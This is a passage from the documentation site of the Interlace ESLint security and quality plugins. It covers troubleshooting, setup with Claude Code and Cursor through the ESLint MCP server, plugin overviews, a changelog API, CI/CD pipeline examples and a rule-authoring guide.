`detect-unhandled-event-errors`, `detect-runinthiscontext-method-in-nodes-vm`, `detect-option-multiplestatements-in-mysql`, `detect-option-unsafe-in-serialize-javascript-npm-package`, `detect-absence-of-name-option-in-exrpress-session`). ESLint runs both without conflict; note the upstream package targets ESLint 8-era APIs. * [Open an issue](https://github.com/ofri-peretz/eslint/issues) if one of the gaps matters to your codebase — gap reports directly feed rule prioritization. # Troubleshooting ## Common Issues [#common-issues] **Cause:** Package not installed or incorrect node\_modules path. **Solution:** ```bash # Reinstall the plugin npm install eslint-plugin-secure-coding --save-dev # Clear npm cache if needed npm cache clean --force rm -rf node_modules package-lock.json npm install ``` For monorepos, ensure you're installing in the correct workspace: ```bash # Root installation for sharing npm install eslint-plugin-secure-coding -w # Or workspace-specific npm install eslint-plugin-secure-coding -w packages/my-app ``` **Cause:** ESLint 8.x doesn't use flat config by default, or config file is named incorrectly. **Solution:** 1. Ensure ESLint 9.x is installed: ```bash npm ls eslint # Should show eslint@9.x.x ``` 2. Name your config file exactly `eslint.config.js` (in project root) 3. If using ESLint 8.x, you need the flag: ```bash ESLINT_USE_FLAT_CONFIG=true npx eslint . ``` 4. For VS Code, add to settings: ```json { "eslint.useFlatConfig": true } ``` **Cause:** Plugins not properly configured or files not matching patterns. **Solution:** 1. Verify plugin installation: ```bash npm ls eslint-plugin-browser-security ``` 2. Check your config exports the rules: ```js title="eslint.config.js" import browserSecurity from 'eslint-plugin-browser-security'; console.log(browserSecurity.configs.recommended); // Debug: see what's exported export default [browserSecurity.configs.recommended]; ``` 3. Verify files match: ```bash npx eslint --debug src/file.ts 2>&1 | grep "Matching" ``` **Cause:** Incorrect import syntax or plugin version mismatch. **Solution:** Check your import syntax matches the plugin's export: ```js title="❌ Incorrect" import { browserSecurity } from 'eslint-plugin-browser-security'; ``` ```js title="✅ Correct" import browserSecurity from 'eslint-plugin-browser-security'; ``` Also verify all plugins are on compatible versions: ```bash npm outdated | grep eslint ``` **Cause:** Editor not displaying ESLint metadata, or using an older plugin version. **Solution:** 1. Hover over the error in VS Code — metadata appears in the tooltip 2. Check ESLint output panel for full diagnostics 3. Update to the latest plugin versions: ```bash npm update 'eslint-plugin-*' ``` For CLI, use the `--format` flag: ```bash npx eslint --format json src/ | jq '.[] | .messages[] | .ruleId, .message' ``` **Cause:** ESLint formatting rules conflicting with Prettier. **Solution:** Use `eslint-config-prettier` to disable conflicting rules: ```bash npm install eslint-config-prettier --save-dev ``` ```js title="eslint.config.js" import secureCoding from 'eslint-plugin-secure-coding'; import maintainability from 'eslint-plugin-maintainability'; import prettier from 'eslint-config-prettier'; export default [ secureCoding.configs.recommended, maintainability.configs.recommended, prettier, // Must be last to override formatting rules ]; ``` **Cause:** Type-aware rules, large file count, or no caching. **Solution:** 1. **Enable caching:** ```bash npx eslint --cache --cache-location node_modules/.cache/eslint . ``` 2. **Identify slow rules:** ```bash TIMING=1 npx eslint . ``` 3. **Ignore unnecessary files:** ```js title="eslint.config.js" export default [ { ignores: [ 'node_modules/**', 'dist/**', '.next/**', 'coverage/**', '**/*.min.js', ], }, // ... rest of config ]; ``` 4. **Use eslint\_d for repeated runs:** ```bash npm install eslint_d --save-dev npx eslint_d . ``` **Cause:** Need package-specific configurations. **Solution:** Create per-package configs that extend the root: ```js title="packages/frontend/eslint.config.js" import rootConfig from '../../eslint.config.js'; import reactFeatures from 'eslint-plugin-react-features'; import reactA11y from 'eslint-plugin-react-a11y'; export default [ ...rootConfig, reactFeatures.configs.recommended, reactA11y.configs.recommended, { files: ['**/*.tsx'], rules: { // Frontend-specific rules }, }, ]; ``` ```js title="packages/api/eslint.config.js" import rootConfig from '../../eslint.config.js'; import node from 'eslint-plugin-node-security'; export default [ ...rootConfig, node.configs.recommended, { rules: { // API-specific rules }, }, ]; ``` ## Diagnostic Commands [#diagnostic-commands] ### Check ESLint Version [#check-eslint-version] ```bash npx eslint --version # Expected: v9.x.x or higher ``` ### List Installed Plugins [#list-installed-plugins] ```bash npm ls | grep eslint-plugin ``` ### Debug Configuration [#debug-configuration] ```bash npx eslint --print-config src/index.ts ``` ### Verify Rule is Active [#verify-rule-is-active] ```bash npx eslint --no-ignore --rule 'browser-security/no-insecure-url: error' src/ ``` ### Check File Matching [#check-file-matching] ```bash npx eslint --debug src/file.ts 2>&1 | head -50 ``` ## Getting Help [#getting-help] Report bugs or request features Ask questions and share tips ## Still Stuck? [#still-stuck] If you're still experiencing issues: 1. **Search existing issues** on GitHub 2. **Create a minimal reproduction** — A small repo that shows the problem 3. **Include versions** — Node, ESLint, and plugin versions 4. **Share your config** — The full `eslint.config.js` file ```bash # Generate a system report npx eslint --version && node --version && npm ls | grep -E '(eslint|eslint-plugin)' ``` # Use Interlace with Claude Code # Use Interlace with Claude Code [#use-interlace-with-claude-code] > **Time to set up:** \~2 minutes. > **Result:** Claude Code can call ESLint MCP tools against your project — Interlace plugin rules included — and apply fixes deterministically. We **do not ship our own MCP server**. The ESLint team maintains [`@eslint/mcp`](https://www.npmjs.com/package/@eslint/mcp) — the official, local-only stdio MCP server. It auto-discovers every ESLint plugin (including ours) from your project's `eslint.config.*` and exposes them through the standard ESLint diagnostic surface. Less code we maintain, more coverage for you. ## What you'll have at the end [#what-youll-have-at-the-end] A Claude Code session where you can say: > *"Audit src/api/auth.ts for security issues. Apply the auto-fixes for any high-confidence findings; for medium / low, summarize them so I can decide."* …and Claude calls the ESLint MCP `lint-files` tool → reads the diagnostic list → reads our CWE-mapped rule metadata in each message → applies any auto-fixes via its Edit tool → re-lints to verify. Fully autonomous static-analysis loop. ## Step 1 — install ESLint + the Interlace plugins you want [#step-1--install-eslint--the-interlace-plugins-you-want] ```bash npm install --save-dev eslint # Then add any of our plugins: npm install --save-dev eslint-plugin-secure-coding eslint-plugin-browser-security eslint-plugin-node-security # …or any of the other plugins from the security / quality pillars. ``` See [Installation](/docs/getting-started/installation) for the full plugin list. Wire them into your `eslint.config.mjs`: ```js import secureCoding from 'eslint-plugin-secure-coding'; import browserSecurity from 'eslint-plugin-browser-security'; import nodeSecurity from 'eslint-plugin-node-security'; export default [ secureCoding.configs.recommended, browserSecurity.configs.recommended, nodeSecurity.configs.recommended, ]; ``` ## Step 2 — register `@eslint/mcp` with Claude Code [#step-2--register-eslintmcp-with-claude-code] Open `~/.claude/mcp.json` (user-scoped) or `/.mcp.json` (project-scoped). Add a single entry: ```json { "mcpServers": { "eslint": { "command": "npx", "args": ["--yes", "@eslint/mcp"] } } } ``` That one entry exposes every plugin you've installed. No per-plugin server, no separate process per rule pillar. ## Step 3 — restart Claude Code and verify [#step-3--restart-claude-code-and-verify] In a new session: ``` > /mcp ``` You should see one server (`eslint`) with the tools ESLint MCP exposes — typically `lint-files`, `lint-code`, and friends. Quick smoke test: ``` > Lint src/index.ts and tell me which Interlace rules fire. ``` Claude calls the tool; the response includes every diagnostic from every plugin you've configured. ## Step 4 — use it [#step-4--use-it] Prompts that work well: | Prompt | What Claude does | | :----------------------------------------------------------------- | :-------------------------------------------------------------------- | | *"Lint src/auth.ts for security issues."* | Calls `lint-files`, summarizes findings by severity | | *"Show me every hardcoded credential in src/."* | Lints + filters by rule id `secure-coding/no-hardcoded-credentials` | | *"Apply the auto-fix for the finding on line 42."* | Reads the fix range in the diagnostic, uses the Edit tool to apply | | *"Lint the whole repo and propose a 3-priority remediation plan."* | Lints every file, ranks findings by CWE + severity from rule metadata | Our rule messages are LLM-optimized: every diagnostic carries the CWE id, OWASP category, CVSS, and a compact remediation hint inline — Claude has everything it needs without extra context lookups. See [AI Leverage](/docs/getting-started/concepts/ai-integration) for the format. ## Why this is more useful than just running ESLint via Bash [#why-this-is-more-useful-than-just-running-eslint-via-bash] 1. **Typed schema** — Claude knows the diagnostic shape and how to call the tool without parsing CLI output. 2. **One install for everything** — `@eslint/mcp` auto-discovers every plugin in your config. No per-plugin server. 3. **Local-only** — `@eslint/mcp` is a local stdio process. Your code never leaves your machine. 4. **Standard surface** — same tool works for any ESLint plugin you ever install, not just ours. ## Troubleshooting [#troubleshooting] **Claude can't see the server.** Restart Claude Code after editing `mcp.json`. Run `/mcp` again to verify. **`npx` is slow first time.** First invocation downloads `@eslint/mcp` + dependencies. Subsequent runs hit the cache. To pre-warm: `npx -y @eslint/mcp --version`. **Tools appear but lint runs return nothing.** The server uses your project's `eslint.config.*` — check that the config exists and that the plugin you expected is enabled there. `npx eslint --print-config src/foo.ts | jq .rules` should show the rule. **The ESLint MCP doesn't expose enough for your workflow.** [Open an issue upstream](https://github.com/eslint/mcp/issues) — that's where the work belongs. We previously shipped 11 per-plugin MCP packages but retired them in favor of the upstream MCP. The maintenance cost of a separate per-plugin MCP surface didn't pay for itself. ## See also [#see-also] * **Cursor**: [Use Interlace with Cursor](./cursor) — same MCP, Cursor's slightly different config syntax * **The MCP itself**: [`@eslint/mcp`](https://github.com/eslint/mcp) — upstream source, license, contributing # Use Interlace with Cursor # Use Interlace with Cursor [#use-interlace-with-cursor] > **Time to set up:** \~2 minutes. > **Result:** Cursor's agent can call ESLint MCP tools against your project — Interlace plugin rules included — and apply fixes through Cursor's editing primitives. Identical surface to [Claude Code](./claude-code). We **do not ship our own MCP server**. The ESLint team maintains [`@eslint/mcp`](https://www.npmjs.com/package/@eslint/mcp) — the official, local-only stdio MCP. It auto-discovers every ESLint plugin (including ours) from your project's `eslint.config.*`. One server, every plugin, no per-package sprawl. ## Step 1 — install ESLint + the Interlace plugins you want [#step-1--install-eslint--the-interlace-plugins-you-want] ```bash npm install --save-dev eslint npm install --save-dev eslint-plugin-secure-coding eslint-plugin-browser-security eslint-plugin-node-security # …or any of our other plugins. See /docs/getting-started/installation ``` Wire them into your `eslint.config.mjs`: ```js import secureCoding from 'eslint-plugin-secure-coding'; import browserSecurity from 'eslint-plugin-browser-security'; import nodeSecurity from 'eslint-plugin-node-security'; export default [ secureCoding.configs.recommended, browserSecurity.configs.recommended, nodeSecurity.configs.recommended, ]; ``` ## Step 2 — register `@eslint/mcp` with Cursor [#step-2--register-eslintmcp-with-cursor] Cursor's MCP config lives at `~/.cursor/mcp.json` (global) or `/.cursor/mcp.json` (project-scoped). Add a single entry: ```json { "mcpServers": { "eslint": { "command": "npx", "args": ["--yes", "@eslint/mcp"] } } } ``` That one entry exposes every plugin you've installed. No per-plugin server. ## Step 3 — restart Cursor [#step-3--restart-cursor] The `eslint` server appears in Cursor's tool panel with the tools `@eslint/mcp` exposes — typically `lint-files`, `lint-code`, and friends. ## Step 4 — use it [#step-4--use-it] In Cursor's agent panel: > *"Lint the file I just changed for security issues. Apply auto-fixes for high-severity findings."* Cursor calls the lint tool → reads diagnostics → applies any auto-fix range via its built-in Edit primitives. Other prompts that work well: | Prompt | What Cursor's agent does | | :------------------------------------------------------------------------- | :---------------------------------------------------------- | | *"Show me every hardcoded credential in src/"* | Lints + filters by `secure-coding/no-hardcoded-credentials` | | *"Lint the diff I'm about to commit"* | Walks the changed files, lints each, summarizes | | *"What rules from eslint-plugin-jwt-security are active in this project?"* | Reads `eslint.config.*` via the MCP and lists the JWT rules | Our rule messages are LLM-optimized: every diagnostic carries the CWE id, OWASP category, CVSS, and an inline remediation hint — Cursor has everything it needs without extra lookups. See [AI Leverage](/docs/getting-started/concepts/ai-integration) for the format. ## Why this is useful in Cursor specifically [#why-this-is-useful-in-cursor-specifically] Cursor's agent already has good code-editing primitives. ESLint diagnostics include a structured `fix` range (when the rule is auto-fixable) — the agent applies them through Cursor's existing Edit tool without any string parsing. Auto-fix loops become reliable. Severity routing: * **`error`** → apply the fix automatically (high confidence) * **`warn`** → propose the diff and wait for review * (Our rules also surface CWE-derived priority in the message — Cursor can route on that too.) ## Troubleshooting [#troubleshooting] Identical to [Claude Code troubleshooting](./claude-code#troubleshooting). The MCP protocol is the same; the host difference doesn't change the failure modes. ## See also [#see-also] * [Use Interlace with Claude Code](./claude-code) — same MCP, slightly different config path * [Compare Interlace to CodeQL / Semgrep / Snyk](/docs/getting-started/concepts/compare) — the buyer's guide * [`@eslint/mcp`](https://github.com/eslint/mcp) — upstream source # Integrations Interlace plugins work anywhere ESLint runs — including inside AI coding agents. We **do not ship our own MCP server**: the official [`@eslint/mcp`](https://www.npmjs.com/package/@eslint/mcp) auto-discovers every plugin from your `eslint.config.*`, so one local server exposes all Interlace rules (CWE-mapped metadata included) to your agent. ## Editor & Agent Integrations [#editor--agent-integrations] \~2 minutes to a fully autonomous lint → fix → re-lint loop via the ESLint MCP server Same ESLint MCP surface wired into Cursor's agent — identical setup, \~2 minutes Looking for classic editor setup (VS Code, WebStorm, error highlighting)? See [Editor Integration](/docs/getting-started/editor-integration). # Learn > A track for the curious. Reference docs tell you **what each rule does**; > these chapters explain **how the machinery underneath actually works** — > the lexer, the AST, how a rule's visitor functions interact with the > traversal, how oxlint's JS-plugin tier reuses the same authoring contract > ESLint pioneered. I've struggled to learn these technologies in pieces > from a dozen different posts; this is the consolidated narrative I wish > I'd had. > > It's not a beginner book. It assumes you write JavaScript daily and > know what an AST is in concept. From there, every chapter pulls a thread > and shows where the source code lives so you can read past my words. *** ## Who this is for [#who-this-is-for] You should read this if any of these sound like you: * You use Interlace (or any ESLint plugin) and want to understand the mechanism, not just configure it. * You're considering writing your own ESLint rule and want a worked example end-to-end, source-code links included. * You're evaluating oxlint and want to know how the same authoring contract serves two engines. * You write rules at work and the precision-vs-recall tradeoff has bitten you and you want the framing we use to manage it. If you're new to JavaScript itself, the Reference section ([`/docs/getting-started`](/docs/getting-started)) is the better entry point. Come back here when you've installed a plugin and want to know *how it sees your code*. *** ## The shape of the track [#the-shape-of-the-track] Each chapter is **self-contained**. Read them in any order; the sidebar lists them as a recommended path but no chapter assumes the previous one finished. Where a chapter references a concept introduced elsewhere, the link is inline. Every chapter ends with **"Where to read past my words"** — a list of exact source-file links (ours, ESLint's, oxlint's) so you can verify the explanation against the implementation. The interpretation is mine; the code is the truth. ``` docs/learn/ ├── index.mdx (you are here) ├── how-eslint-plugins-work/ chapter 1 — pipeline, visitor, fixer ├── (more chapters — see ROADMAP.md) ``` *** ## What this track will eventually cover [#what-this-track-will-eventually-cover] The chapters below the introduction are landing in order of usefulness, not order of importance. Today only the first is published. | Chapter | Status | Topic | | :------------------------------------------------------------- | :------------------ | :---------------------------------------------------------------------------------------------------------------------------------------------------------- | | [How ESLint plugins work](/docs/learn/how-eslint-plugins-work) | ✅ Live (2026-05-14) | Source text → parser → AST → visitor → finding → fixer. The full pipeline, with the source-code links so you can read past my words. | | Designing a flagship rule | 📅 Planned | The 5 selection criteria from `.agent/flagship-rules.md` with `pg/no-unsafe-query` as the worked example end-to-end. | | The taint-analysis primitives in `eslint-devkit` | 📅 Planned | What "taint flow" means in practice, and how our shared helpers detect it without a type-checker. | | Writing a type-unaware rule that runs under oxlint | 📅 Planned | The 33-API contract our `probe-oxlint-runtime.cjs` checks, why we keep flagship rules out of the type-aware tier, what runs under oxlint's JS-plugin alpha. | | Why we measure F1 with Wilson confidence intervals | 📅 Planned | The math behind the bench-result envelopes; why a single-shot timing isn't a signal. | If you want a chapter prioritized, [open a discussion](https://github.com/ofri-peretz/eslint/discussions). *** ## A note on voice [#a-note-on-voice] These chapters are first-person and direct. I'd rather you feel like you're reading over my shoulder than scanning a wiki. When I've gotten something wrong in the past, that's in here. When a competitor solves something better, that's in here too. The goal is for you to leave with the mental model, not a list of definitions. If a paragraph isn't earning its keep — tell me. Suggestions go to the [discussion thread](https://github.com/ofri-peretz/eslint/discussions) or as a PR with a one-line change. The "Suggest changes" link at the bottom of each chapter goes straight to the source. # Security Plugins ESLint Interlace provides comprehensive security coverage across multiple domains with ** specialized plugins**. ## Core Security [#core-security] rules for injection prevention, input validation, and secure patterns rules for XSS, cookie, and DOM security rules for server-side security and cryptography rules for JSON Web Token security patterns ## Database Security [#database-security] rules for NoSQL injection prevention rules for SQL injection prevention ## Framework Security [#framework-security] rules for Express.js security hardening rules for NestJS security patterns rules for serverless security rules for AI SDK security # Quality & Architecture Plugins ## ESLint Plugins [#eslint-plugins] This section documents our **ESLint plugins** focused on code quality, architectural patterns, and developer experience. All plugin documentation (README, Changelog, Rule docs) is fetched directly from GitHub. Updates are reflected automatically without redeployment. *** ## Architecture [#architecture] 8x faster cycle detection • rules • Drop-in eslint-plugin-import replacement Architecture, DDD patterns, and module isolation • rules *** ## Code Quality [#code-quality] Reducing cognitive load and ensuring readability • rules Runtime stability, fault tolerance, and type safety • rules Production behavior, resource hygiene, and log quality • rules *** ## Conventions & Modernization [#conventions--modernization] Team-specific disciplinary patterns and code conventions • rules Modernizing JavaScript to ES2022+ syntax • rules *** ## Plugin Structure [#plugin-structure] Each plugin page includes: | Section | Source | Cache TTL | | ------------- | --------------------------- | --------- | | **Overview** | `README.md` from GitHub | 1 hour | | **Rules** | Individual rule `.md` files | 6 hours | | **Changelog** | `CHANGELOG.md` from GitHub | 2 hours | *** ## Quick Install [#quick-install] ```bash title="Install all quality plugins" npm install eslint-plugin-import-next \ eslint-plugin-maintainability \ eslint-plugin-reliability \ eslint-plugin-modularity \ eslint-plugin-operability \ eslint-plugin-conventions \ eslint-plugin-modernization ``` *** ## Composing the Quality Plugins [#composing-the-quality-plugins] Each plugin ships its own recommended config — compose the ones you need rather than depending on a meta-package: ```js title="eslint.config.js" import importNext from 'eslint-plugin-import-next'; import maintainability from 'eslint-plugin-maintainability'; import reliability from 'eslint-plugin-reliability'; import modularity from 'eslint-plugin-modularity'; import operability from 'eslint-plugin-operability'; import conventions from 'eslint-plugin-conventions'; import modernization from 'eslint-plugin-modernization'; export default [ importNext.configs.recommended, maintainability.configs.recommended, reliability.configs.recommended, modularity.configs.recommended, operability.configs.recommended, conventions.configs.recommended, modernization.configs.recommended, ]; ``` # Changelog ## Version History [#version-history] This page aggregates changelog information from all ESLint Interlace plugins, fetched dynamically from GitHub. Changelog data is fetched directly from GitHub CHANGELOG.md files and cached for 2 hours. Updates to the repository are reflected automatically—no redeployment needed. *** ## How It Works [#how-it-works] Each plugin maintains its own `CHANGELOG.md` in its package directory. This page aggregates them in real-time: 1. **GitHub Raw Content** — Files are fetched from `raw.githubusercontent.com` 2. **2-Hour Cache** — Data is cached using our json-cache policy 3. **Parsed Entries** — Markdown is parsed to extract version, date, and type *** ## Plugin Changelogs [#plugin-changelogs] Each plugin has its own changelog page in this docs site (rendered live from GitHub via ``) plus a `CHANGELOG.md` file in its package directory. *** ### Security Plugins [#security-plugins] | Plugin | Description | In-site changelog | Source `CHANGELOG.md` | | :------------------- | :--------------------------- | :---------------------------------------------------------- | :---------------------------------------------------------------------------------------------------------------- | | `browser-security` | XSS, DOM security | [View](/docs/security/plugin-browser-security/changelog) | [GitHub](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-browser-security/CHANGELOG.md) | | `express-security` | Express middleware hardening | [View](/docs/security/plugin-express-security/changelog) | [GitHub](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-express-security/CHANGELOG.md) | | `jwt` | Token security | [View](/docs/security/plugin-jwt-security/changelog) | [GitHub](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-jwt-security/CHANGELOG.md) | | `lambda-security` | AWS Lambda hardening | [View](/docs/security/plugin-lambda-security/changelog) | [GitHub](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-lambda-security/CHANGELOG.md) | | `mongodb-security` | MongoDB injection | [View](/docs/security/plugin-mongodb-security/changelog) | [GitHub](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-mongodb-security/CHANGELOG.md) | | `nestjs-security` | NestJS framework hardening | [View](/docs/security/plugin-nestjs-security/changelog) | [GitHub](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-nestjs-security/CHANGELOG.md) | | `node-security` | Server-side patterns | [View](/docs/security/plugin-node-security/changelog) | [GitHub](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-node-security/CHANGELOG.md) | | `pg` | PostgreSQL security | [View](/docs/security/plugin-postgresql-security/changelog) | [GitHub](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-postgresql-security/CHANGELOG.md) | | `secure-coding` | Injection prevention | [View](/docs/security/plugin-secure-coding/changelog) | [GitHub](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-secure-coding/CHANGELOG.md) | | `vercel-ai-security` | AI SDK security | [View](/docs/security/plugin-vercel-ai-security/changelog) | [GitHub](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-vercel-ai-security/CHANGELOG.md) | *** ### Quality Plugins [#quality-plugins] | Plugin | Description | In-site changelog | Source `CHANGELOG.md` | | :---------------- | :--------------------------------------- | :----------------------------------------------------- | :------------------------------------------------------------------------------------------------------------ | | `conventions` | Team-specific habits and styles | [View](/docs/quality/plugin-conventions/changelog) | [GitHub](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-conventions/CHANGELOG.md) | | `import-next` | Fast cycle + import-graph analysis | [View](/docs/quality/plugin-import-next/changelog) | [GitHub](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-import-next/CHANGELOG.md) | | `maintainability` | Cognitive load and clean-code patterns | [View](/docs/quality/plugin-maintainability/changelog) | [GitHub](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-maintainability/CHANGELOG.md) | | `modernization` | ESNext migration + syntax evolution | [View](/docs/quality/plugin-modernization/changelog) | [GitHub](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-modernization/CHANGELOG.md) | | `modularity` | Structural integrity and DDD patterns | [View](/docs/quality/plugin-modularity/changelog) | [GitHub](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-modularity/CHANGELOG.md) | | `operability` | Production readiness and resource health | [View](/docs/quality/plugin-operability/changelog) | [GitHub](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-operability/CHANGELOG.md) | | `react-a11y` | React accessibility / WCAG | [View](/docs/quality/plugin-react-a11y/changelog) | [GitHub](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-react-a11y/CHANGELOG.md) | | `react-features` | React best practices and optimization | [View](/docs/quality/plugin-react-features/changelog) | [GitHub](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-react-features/CHANGELOG.md) | | `reliability` | Runtime stability and error safety | [View](/docs/quality/plugin-reliability/changelog) | [GitHub](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-reliability/CHANGELOG.md) | *** ## API Access [#api-access] You can programmatically access changelog data via our API: ```bash # Get all changelogs (parsed) curl https://eslint.interlace.tools/api/changelog # Get specific plugin changelog curl https://eslint.interlace.tools/api/changelog?plugin=jwt # Get raw markdown curl https://eslint.interlace.tools/api/changelog?plugin=jwt&raw=true ``` ### Response Format [#response-format] ```json { "success": true, "data": { "plugin": "jwt", "path": "packages/eslint-plugin-jwt-security/CHANGELOG.md", "entries": [ { "version": "1.4.0", "date": "2026-01-15", "type": "feature", "content": "Added no-none-algorithm rule..." } ], "fetchedAt": "2026-01-31T12:00:00Z" }, "meta": { "source": "github", "ttl": 7200 } } ``` *** ## Entry Types [#entry-types] | Symbol | Type | Meaning | | ------ | ---------- | ----------------------- | | 🟢 | `feature` | New feature or rule | | 🔧 | `fix` | Bug fix | | 🛡️ | `security` | Security improvement | | 🔴 | `breaking` | Breaking change | | ⚡ | `perf` | Performance improvement | *** ## Next Steps [#next-steps] Help build new rules # CI/CD Integration ## Automated Security Enforcement [#automated-security-enforcement] Integrating ESLint Interlace into your CI/CD pipeline ensures that security vulnerabilities are caught before they reach production. Catching vulnerabilities during code review is 100x cheaper than fixing them in production. CI/CD integration makes security checks automatic and consistent. *** ## GitHub Actions [#github-actions] The most common integration for JavaScript projects: ```yaml title=".github/workflows/security-lint.yml" name: Security Lint on: push: branches: [main, develop] pull_request: branches: [main] jobs: security-lint: runs-on: ubuntu-latest steps: - name: Checkout code uses: actions/checkout@v4 - name: Setup Node.js uses: actions/setup-node@v4 with: node-version: '20' cache: 'npm' - name: Install dependencies run: npm ci - name: Run ESLint Security Checks run: npx eslint . --max-warnings 0 - name: Upload SARIF report if: always() uses: github/codeql-action/upload-sarif@v3 with: sarif_file: eslint-results.sarif ``` ### With SARIF Reporting [#with-sarif-reporting] For GitHub Security tab integration: ```yaml title=".github/workflows/security-lint.yml" - name: Run ESLint with SARIF output run: | npx eslint . \ --format @microsoft/eslint-formatter-sarif \ --output-file eslint-results.sarif continue-on-error: true - name: Upload SARIF uses: github/codeql-action/upload-sarif@v3 with: sarif_file: eslint-results.sarif ``` *** ## GitLab CI [#gitlab-ci] ```yaml title=".gitlab-ci.yml" security-lint: stage: test image: node:20 cache: paths: - node_modules/ script: - npm ci - npx eslint . --max-warnings 0 --format json > eslint-report.json artifacts: reports: codequality: eslint-report.json when: always rules: - if: $CI_MERGE_REQUEST_IID - if: $CI_COMMIT_BRANCH == "main" ``` *** ## Fail Fast Configuration [#fail-fast-configuration] ### Block Critical Issues Only [#block-critical-issues-only] Allow warnings but fail on critical security issues: ```yaml - name: Run Security Lint run: | npx eslint . --format json > eslint-report.json # Fail only on critical (CVSS 9+) issues CRITICAL=$(cat eslint-report.json | jq '[.[].messages[] | select(.severity == 2)] | length') if [ "$CRITICAL" -gt 0 ]; then echo "::error::$CRITICAL critical security issues found!" exit 1 fi ``` ### Severity-Based Gates [#severity-based-gates] Configure different behaviors per severity: ```js title="eslint.config.js" import secureCoding from 'eslint-plugin-secure-coding'; import jwt from 'eslint-plugin-jwt-security'; import nodeSecurity from 'eslint-plugin-node-security'; import browserSecurity from 'eslint-plugin-browser-security'; import pg from 'eslint-plugin-postgresql-security'; export default [ secureCoding.configs.recommended, jwt.configs.recommended, nodeSecurity.configs.recommended, browserSecurity.configs.recommended, pg.configs.recommended, { rules: { // Critical (CVSS 9+): Always error 'pg/no-unsafe-query': 'error', 'jwt/no-hardcoded-secret': 'error', // High (CVSS 7-8.9): Error in CI, warn locally 'node-security/no-weak-cipher-algorithm': process.env.CI ? 'error' : 'warn', // Medium (CVSS 4-6.9): Warn only 'browser-security/no-insecure-url': 'warn', }, }, ]; ``` *** ## PR Comments [#pr-comments] Add security findings as PR comments: ```yaml title=".github/workflows/security-lint.yml" - name: Run ESLint id: eslint run: | npx eslint . --format json > eslint-report.json echo "issues=$(cat eslint-report.json | jq '[.[].messages[]] | length')" >> $GITHUB_OUTPUT continue-on-error: true - name: Comment on PR if: github.event_name == 'pull_request' && steps.eslint.outputs.issues != '0' uses: actions/github-script@v7 with: script: | const fs = require('fs'); const report = JSON.parse(fs.readFileSync('eslint-report.json', 'utf8')); const issues = report.flatMap(f => f.messages.map(m => ({ file: f.filePath.replace(process.cwd(), ''), line: m.line, message: m.message, rule: m.ruleId, severity: m.severity === 2 ? '🔴' : '🟡' }))); const body = `## 🔒 Security Lint Results Found **${issues.length}** issues: | File | Line | Rule | Message | |------|------|------|---------| ${issues.slice(0, 10).map(i => `| ${i.severity} ${i.file} | ${i.line} | \`${i.rule}\` | ${i.message} |` ).join('\n')} ${issues.length > 10 ? `\n... and ${issues.length - 10} more` : ''} `; github.rest.issues.createComment({ owner: context.repo.owner, repo: context.repo.repo, issue_number: context.issue.number, body }); ``` *** ## Performance Optimization [#performance-optimization] Speed up CI runs with caching and parallelization: ```yaml title=".github/workflows/security-lint.yml" - name: Cache ESLint uses: actions/cache@v4 with: path: .eslintcache key: eslint-${{ hashFiles('**/eslint.config.js') }} - name: Run ESLint (cached) run: npx eslint . --cache --cache-location .eslintcache ``` ### Parallel Execution [#parallel-execution] For monorepos: ```yaml jobs: lint: strategy: matrix: package: [api, web, shared] steps: - run: npx eslint packages/${{ matrix.package }} --cache ``` *** ## Required Secrets [#required-secrets] For SARIF upload and advanced features: | Secret | Purpose | Required | | --------------- | ------------------------- | ------------- | | `GITHUB_TOKEN` | PR comments, SARIF upload | Auto-provided | | `CODECOV_TOKEN` | Coverage reporting | Optional | *** ## Next Steps [#next-steps] View version history Add new security rules # Contributing ## Contributing to Interlace [#contributing-to-interlace] We welcome contributions from the security and JavaScript communities! This guide walks you through creating, testing, and documenting new ESLint rules. Whether it's a new rule, bug fix, documentation improvement, or test case—every contribution helps make JavaScript more secure. *** ## Rule Development Workflow [#rule-development-workflow] ### 1. Propose the Rule [#1-propose-the-rule] Before coding, open a GitHub issue or discussion describing: * **Vulnerability type** (CWE if known) * **Example vulnerable code** * **Proposed detection logic** * **Auto-fix possibility** ### 2. Set Up Development [#2-set-up-development] ```bash # Clone the monorepo git clone https://github.com/ofri-peretz/eslint.git cd eslint # Install dependencies npm install # Create a new branch git checkout -b feat/no-awesome-vulnerability ``` ### 3. Write the Rule [#3-write-the-rule] Rules live in `packages/eslint-plugin-{name}/src/rules/`: ```ts title="no-example-vuln.ts" import { ESLintUtils } from '@typescript-eslint/utils'; const createRule = ESLintUtils.RuleCreator( (name) => `https://eslint.interlace.tools/docs/rules/${name}`, ); export const noExampleVuln = createRule({ name: 'no-example-vuln', meta: { type: 'problem', docs: { description: 'Prevent example vulnerability pattern', }, messages: { vulnerable: 'This pattern is vulnerable to {{cwe}}', }, schema: [], // Security metadata for AI agents cwe: 'CWE-xxx', owasp: 'A0x:2021', cvss: 7.5, }, defaultOptions: [], create(context) { return { // AST visitor pattern CallExpression(node) { if (isVulnerablePattern(node)) { context.report({ node, messageId: 'vulnerable', data: { cwe: 'CWE-xxx' }, }); } }, }; }, }); ``` ### 4. Write Tests [#4-write-tests] Test-first development is required. Tests live next to rules: ```ts title="no-example-vuln.test.ts" import { RuleTester } from '@typescript-eslint/rule-tester'; import { noExampleVuln } from './no-example-vuln'; const ruleTester = new RuleTester(); ruleTester.run('no-example-vuln', noExampleVuln, { valid: [ // Safe patterns that should 